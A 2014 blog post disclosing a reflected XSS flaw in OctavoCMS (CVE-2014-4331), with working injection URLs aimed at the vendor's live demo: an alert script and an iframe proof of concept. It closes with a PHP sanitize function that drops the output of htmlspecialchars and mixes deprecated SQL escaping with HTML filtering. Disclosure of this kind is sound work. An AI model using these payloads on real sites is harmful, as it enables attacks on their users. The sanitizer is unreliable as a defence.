Wednesday, July 9, 2014

Introduction to XSS

During a recent auditory I found a reflected XSS (cross site scripting) on one of my customer's software - OctavoCMS. I'd like to share here a bit about it and how to look for XSS on your own software.

First some disclaimer. This vulnerability (CVE-2014-4331) has been reported to the vendor early June. They have not replied to me yet, and I see their website still vulnerable 1 month later so I think would be a good idea to share it for educational purposes as if you would happen to be one of their customers, maybe you could report this to your account manager and get them to fix it. I am not responsible for any miss use of this information and / or the CVE explained. If you plan to use this information to harm websites / clients please stop reading now.

The following steps may stop working as soon as they fix the software, but you will get the idea.

OctavoCMS allows you to see pictures in the system trough the script viewer.php. Let's see how it works, open the url http://demo.octavocms.com/admin/viewer.php?src=/client/images/shop/products/detailed/34_34.jpg on their online demo, which uses the image path on the src parameter. Check the source code:

[code]

<body onload="FitPic();" style="background-color:#FFFFFF;">

<div align="center" style="padding:10px;">
 <img src="/client/images/shop/products/detailed/34_34.jpg" alt="Image" border="0" />
 <h2 align="center"><a href="javascript:window.close();"><img src="/images/icons/icon-flag.gif" alt="restricted" border="0" align="absmiddle" /> Close</a></h2>
</div>

</body>
</html>

Now change the image path for a quote " and check the source code:

http://demo.octavocms.com/admin/viewer.php?src="

We see that the image has been replaced by the word Image. Let's check the code:

[code]
<body onload="FitPic();" style="background-color:#FFFFFF;">

<div align="center" style="padding:10px;">
 <img src="\"" alt="Image" border="0" />
 <h2 align="center"><a href="javascript:window.close();"><img src="/images/icons/icon-flag.gif" alt="restricted" border="0" align="absmiddle" /> Close</a></h2>
</div>

</body>
</html>

Now change the parameter to ">hello<!--

http://demo.octavocms.com/admin/viewer.php?src=%22%3Ehello%3C!--

The word Image now has been replaced by hello:

[code]
<body onload="FitPic();" style="background-color:#FFFFFF;">

<div align="center" style="padding:10px;">
 <img src="\">hello<!--" alt="Image" border="0" />
 <h2 align="center"><a href="javascript:window.close();"><img src="/images/icons/icon-flag.gif" alt="restricted" border="0" align="absmiddle" /> Close</a></h2>
</div>

</body>
</html>

We found an html injection point. Now let's try to put some JavaScript code on this:

http://demo.octavocms.com/admin/viewer.php?src=%22%3Chr%3Ehello%3Cscript%3Ealert%281%29;%3C/script%3E%3C!--

Now we have a popup with the alert message (chrome might suppress it, if so you could try firefox), so confirmed we can inject scripting code on the client side.

Sometimes communicating XSS to customers / vendors they don't really understand the severity of the issue. If that's the case, I try to be more "graphic" with thepoc using iframes to show another website instead. In this case I'll put the SEGA website inside a frame so one website actually shows another one - the guys from sega should make use of the X-Frame-Options header isn't it? :)


http://demo.octavocms.com/admin/viewer.php?src=%22%3C/div%3E%3Cbr%3E%3Ch2%3EThis%20is%20a%20test%3C/h2%3E%3Cscript%3Ealert%28123%29;%3C/script%3E%3Ch3%3Efin%3C/h3%3E%3Ciframe%20width=1000%20height=1000%20src=http://www.sega.com%20frameborder=0%3E%3C/iframe%3E%3C!--%22


How do we get rid of this? We need to sanitize the input - always. I can't provide a patch for OctavoCMS as it is proprietary software and I do not have access to the code. If you do, PHP has some filters you could use for this, or you could build your own.


Here is a piece of PHP code I used to sanitize one of my client's app. I add it in the includes section, it is meant to parse int, varchar and html input:


usage: 

require_once("includes/sanitize.php");
$my_get_parameter = sanitize($_GET['my_get_parameter'],int [or varchar, html]);



<?php

function sanitize($value, $type) {

if (isset($type)) {
        if ($type == "int" ) {
                if ( is_numeric($value)) {
                        $value = mysql_real_escape_string($value);
                        $value = filter_var($value, FILTER_SANITIZE_NUMBER_INT);
                }
                else
                        $value='0';
        return $value;
        }
        else if ($type == "varchar" ) {
                $value = mysql_real_escape_string($value);
                $value = filter_var($value, FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_HIGH);
                htmlspecialchars($value);
                return $value;
        }
        else if ($type == "html" ) {
                $value = mysql_real_escape_string($value);
                $value = filter_var($value, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_FLAG_ENCODE_HIGH);
                //htmlspecialchars($value);
                return $value;
        }

}
}
?>